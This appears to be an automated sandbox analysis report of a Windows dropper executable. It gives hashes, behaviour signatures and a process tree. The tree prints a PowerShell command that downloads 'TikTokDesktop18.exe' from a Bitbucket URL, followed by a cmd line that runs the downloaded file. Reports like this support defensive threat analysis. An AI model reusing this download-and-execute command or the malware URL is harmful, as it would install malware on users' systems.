Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    27/11/2024, 12:32

General

  • Target

    b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe

  • Size

    89KB

  • MD5

    ee5fa211e0dfb2e96a3953d4bace7850

  • SHA1

    65884c08e3876e8aeab4f5172d48e203e60ab75b

  • SHA256

    b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8

  • SHA512

    ff98b501ac22fdfc0b458b9e726388bbfe8d775e3988d83312a6551cdd57d21de1d87b3f8d9bdf4f9ec50cfda2e5b360e136d09e8f76000301e510ee63accf65

  • SSDEEP

    1536:z7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAw3Oj:v7DhdC6kzWypvaQ0FxyNTBfAl

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bitbucket.org/superappsss/khem-praksa/downloads/TikTokDesktop18.exe

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe
    "C:\Users\Admin\AppData\Local\Temp\b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\8102.tmp\8103.tmp\8104.bat C:\Users\Admin\AppData\Local\Temp\b8f6f9e8718c5abc0d2d64183fb1a103f0a7caf763ba29cd96aae03f810411e8N.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell /nop /com "(New-Object Net.WebClient).DownloadFile('https://bitbucket.org/superappsss/khem-praksa/downloads/TikTokDesktop18.exe', 'C:\Users\Admin\AppData\Local\Temp\TikTokDesktop18.exe')";
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2580
      • C:\Windows\system32\cmd.exe
        cmd.exe /c C:\Users\Admin\AppData\Local\Temp\TikTokDesktop18.exe;
        3⤵
          PID:2508

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\8102.tmp\8103.tmp\8104.bat

      Filesize

      260B

      MD5

      1904675eec0f302424c4bde0956dab54

      SHA1

      267c3174e35e0e2a7d104f98b3326f313f2e464e

      SHA256

      45fa85497886f443950af5fbd09098407a05345925fd942ac49eda67a93657e6

      SHA512

      fe3682e4c1d36e14d4bb6ced55d62b609a8417a98731207246f7b9419724d5463246f641e1c4b1b53ec9358e65d7938ecc0b71f2ea09455bdb61815761e9f6f3

    • memory/2580-6-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

      Filesize

      4KB

    • memory/2580-7-0x000000001B590000-0x000000001B872000-memory.dmp

      Filesize

      2.9MB

    • memory/2580-10-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2580-9-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2580-8-0x0000000002870000-0x0000000002878000-memory.dmp

      Filesize

      32KB

    • memory/2580-11-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2580-12-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

      Filesize

      9.6MB